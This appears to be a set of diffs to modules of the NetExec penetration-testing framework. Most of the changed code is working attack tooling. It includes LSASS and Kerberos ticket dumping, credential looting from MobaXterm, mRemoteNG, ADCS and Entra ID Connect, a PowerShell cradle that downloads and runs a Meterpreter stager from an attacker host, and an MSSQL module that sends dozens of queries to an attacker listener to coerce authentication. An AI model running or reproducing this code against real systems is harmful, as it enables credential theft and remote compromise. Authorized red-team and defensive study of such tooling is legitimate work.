# Extract the file description from version info
try:
pe = pefile.PE(data=binary_data, fast_load=True)
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
for fileinfo in pe.FileInfo:
for entry in fileinfo:
if entry.Key.decode() == "StringFileInfo":
for st in entry.StringTable:
desc = st.entries.get(b"FileDescription")
if desc:
return desc.decode().strip()
except Exception as e:
self.context.log.debug(f"Failed to extract PE info: {e}")
return None
def on_admin_login(self, context, connection):
target_path = "\\Windows\\System32"
tampered = False
for exe, expected_descs in self.expected_descriptions.items():
try:
# Grab the binary from the share
buf = BytesIO()
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
binary = buf.getvalue()
# Extract and normalize the file description
file_desc = self.get_description(binary)
if not file_desc:
context.log.fail(f"{exe}: could not extract FileDescription")
continue
# Check if the description is as expected
if file_desc not in expected_descs:
tampered = True
if file_desc in self.backdoor_descriptions:
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
else:
if len(expected_descs) == 1:
expected_str = f"'{expected_descs[0]}'"
else:
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
expected_str = f"one of: {expected_str}"
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
except Exception as e:
context.log.debug(f"Failed to process {exe}: {e}")
if not tampered:
context.log.display("All lock screen executable descriptions are consistent with the expected values")
+77 -4
View File
@@ -4,32 +4,57 @@
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import os
import sys
from lsassy.dumper import Dumper
from lsassy.impacketfile import ImpacketFile
from lsassy.parser import Parser
from lsassy.session import Session
from impacket.krb5.ccache import CCache
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.method = None
self.dump_tickets = True
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
self.ticket_type = "ccache"
def options(self, context, module_options):
"""METHOD Method to use to dump lsass.exe with lsassy"""
"""
METHOD Method to use to dump lsass.exe with lsassy
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
SAVE_DIR Directory to save dumped tickets
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "DUMP_TICKETS" in module_options:
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
if "SAVE_DIR" in module_options:
self.save_dir = module_options["SAVE_DIR"]
if "SAVE_TYPE" in module_options:
self.ticket_type = module_options["SAVE_TYPE"]
if self.ticket_type not in ["kirbi", "ccache"]:
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
sys.exit(1)
def on_admin_login(self, context, connection):
host = connection.host
domain_name = connection.domain
@@ -69,7 +94,6 @@ class NXCModule:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
@@ -86,6 +110,9 @@ class NXCModule:
if credentials is None:
credentials = []
if self.dump_tickets and tickets:
self.write_tickets(context, tickets, host)
for cred in credentials:
c = cred.get_object()
context.log.debug(f"Cred: {c}")
@@ -118,6 +145,52 @@ class NXCModule:
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def write_tickets(self, context, tickets, host):
if not tickets:
context.log.display("No Kerberos tickets found")
return
if not os.path.exists(self.save_dir):
try:
os.makedirs(self.save_dir)
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
except Exception as e:
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
return
ticket_count = 0
for ticket in tickets:
for filename in ticket.kirbi_data:
try:
base_filename = filename.split(".kirbi")[0]
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
kirbi_data = ticket.kirbi_data[filename]
if self.ticket_type == "ccache":
ccache = CCache()
ccache.fromKRBCRED(kirbi_data.dump())
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
ticket_content = ccache.getData()
else:
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
ticket_content = kirbi_data.dump()
ticket_path = os.path.join(self.save_dir, ticket_filename)
with open(ticket_path, "wb") as f:
f.write(ticket_content)
ticket_count += 1
context.log.debug(f"Saved ticket: {ticket_filename}")
except Exception as e:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
def process_credentials(self, context, connection, credentials):
if len(credentials) == 0:
context.log.display("No credentials found")
+15 -8
View File
@@ -1,7 +1,11 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
@@ -12,18 +16,21 @@ class NXCModule:
"""
def options(self, context, module_options):
pass
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail("No LDAP entries returned.")
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
+5 -5
View File
@@ -1,13 +1,13 @@
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -81,8 +81,8 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nthash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
if user.nt_hash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@@ -98,7 +98,7 @@ class NXCModule:
"hash",
user.domain,
user.name,
user.nthash,
user.nt_hash,
pillaged_from=host,
)
add_user_bh(user.name, user.domain, context.log, connection.config)
+6 -6
View File
@@ -1,4 +1,5 @@
from sys import exit
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -10,8 +11,7 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.rand = None
@@ -27,7 +27,7 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
@@ -62,14 +62,14 @@ class NXCModule:
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
+24 -90
View File
@@ -1,113 +1,46 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
"""No options available"""
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
self.pvkbytes = get_domain_backup_key(connection)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -115,14 +48,15 @@ class NXCModule:
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+15 -20
View File
@@ -1,11 +1,12 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -15,6 +16,7 @@ class MRemoteNgEncryptionAttributes:
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
@@ -24,8 +26,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.false_positive = (
@@ -42,7 +43,7 @@ class NXCModule:
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
@@ -57,7 +58,7 @@ class NXCModule:
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
@@ -94,7 +95,10 @@ class NXCModule:
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
@@ -117,14 +121,6 @@ class NXCModule:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
@@ -135,7 +131,7 @@ class NXCModule:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -144,7 +140,7 @@ class NXCModule:
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
@@ -155,7 +151,7 @@ class NXCModule:
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
@@ -168,7 +164,7 @@ class NXCModule:
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
@@ -184,7 +180,6 @@ class NXCModule:
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
@@ -209,4 +204,4 @@ class NXCModule:
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+15 -24
View File
@@ -5,6 +5,7 @@
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
@@ -31,19 +32,19 @@ class SmbHeader(Structure):
]
def __init__(self, buffer):
nxc_logger.debug("server_component : %04x" % self.server_component)
nxc_logger.debug("smb_command : %01x" % self.smb_command)
nxc_logger.debug("error_class : %01x" % self.error_class)
nxc_logger.debug("error_code : %02x" % self.error_code)
nxc_logger.debug("flags : %01x" % self.flags)
nxc_logger.debug("flags2 : %02x" % self.flags2)
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
nxc_logger.debug("signature : %08x" % self.signature)
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
nxc_logger.debug("tree_id : %02x" % self.tree_id)
nxc_logger.debug("process_id : %02x" % self.process_id)
nxc_logger.debug("user_id : %02x" % self.user_id)
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
nxc_logger.debug(f"server_component : {self.server_component:04x}")
nxc_logger.debug(f"smb_command : {self.smb_command:01x}")
nxc_logger.debug(f"error_class : {self.error_class:01x}")
nxc_logger.debug(f"error_code : {self.error_code:02x}")
nxc_logger.debug(f"flags : {self.flags:01x}")
nxc_logger.debug(f"flags2 : {self.flags2:02x}")
nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}")
nxc_logger.debug(f"signature : {self.signature:08x}")
nxc_logger.debug(f"reserved2 : {self.reserved2:02x}")
nxc_logger.debug(f"tree_id : {self.tree_id:02x}")
nxc_logger.debug(f"process_id : {self.process_id:02x}")
nxc_logger.debug(f"user_id : {self.user_id:02x}")
nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}")
def __new__(self, buffer=None):
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
@@ -54,8 +55,7 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
@@ -72,7 +72,6 @@ class NXCModule:
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
context.log.debug("Buffer size too small, which means the response was not the expected size")
def generate_smb_proto_payload(self, *protos):
"""
Flattens a nested list and merges all bytes objects into a single bytes object.
@@ -98,7 +97,6 @@ class NXCModule:
self.logger.debug(f"Packed proto data: {hex_data}")
return hex_data
def calculate_doublepulsar_xor_key(self, s):
"""
Calculate Doublepulsar Xor Key.
@@ -115,8 +113,6 @@ class NXCModule:
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
return x & 0xffffffff # truncate to 32 bits
def negotiate_proto_request(self):
"""Generate a negotiate_proto_request packet."""
self.logger.debug("generate negotiate proto request")
@@ -160,7 +156,6 @@ class NXCModule:
# Return the generated SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request(self):
"""Generate session setup andx request."""
self.logger.debug("generate session setup andx request"
@@ -210,7 +205,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(self, ip, userid):
"""Generate tree connect andx request.
@@ -279,7 +273,6 @@ class NXCModule:
# Generate the final SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
"""
Generate tran2 request.
@@ -345,7 +338,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
def trans2_request(self, treeid, processid, userid, multiplex_id):
"""Generate trans2 request.
@@ -409,7 +401,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(self, ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists.
+31 -78
View File
@@ -1,93 +1,46 @@
# MSOL module for nxc
# MSOL module for NetExec
# Author of the module : https://twitter.com/Daahtk
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
from nxc.paths import TMP_PATH
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""Module by @NeffIsBack"""
name = "msol"
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.use_embedded = None
self.MSOL_PS1 = None
self.msol_embedded = None
self.cmd = None
self.msolmdl = None
self.msol = None
self.tmp_share = None
self.share = None
self.tmp_dir = None
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""MSOL_PS1 // Path to the msol binary on your computer"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.msol = "msol.ps1"
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
self.MSOL_PS1 = module_options["MSOL_PS1"]
self.use_embedded = False
def exec_script(self, _, connection):
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
return connection.execute(command, True)
"""No module options available."""
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = f"{TMP_PATH}/msol.ps1"
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
exit(1)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
context.log.fail(line.replace("[!]", "").strip())
else:
context.log.fail(f"Cannot open {self.MSOL_PS1}")
exit(1)
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success("Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display("Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail("Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success("Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
context.log.highlight(line.strip())
+80
View File
@@ -0,0 +1,80 @@
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Made by @lodos2005"""
name = "mssql_coerce"
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.listener = None
def options(self, context, module_options):
"""
LISTENER LISTENER for exploitation
L Alias for LISTENER
"""
self.context = context
self.listener = None
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "L" in module_options:
self.listener = module_options["L"]
def on_login(self, context, connection):
if self.listener is None:
context.log.error("LISTENER option is required!")
sys.exit(1)
self.context = context
self.mssql_conn = connection.conn
commands = [
f"xp_dirtree '\\\\{self.listener}\\file';",
f"xp_fileexist '\\\\{self.listener}\\file';",
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
f"xp_subdirs '\\\\{self.listener}\\file';",
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
]
for command in commands:
try:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
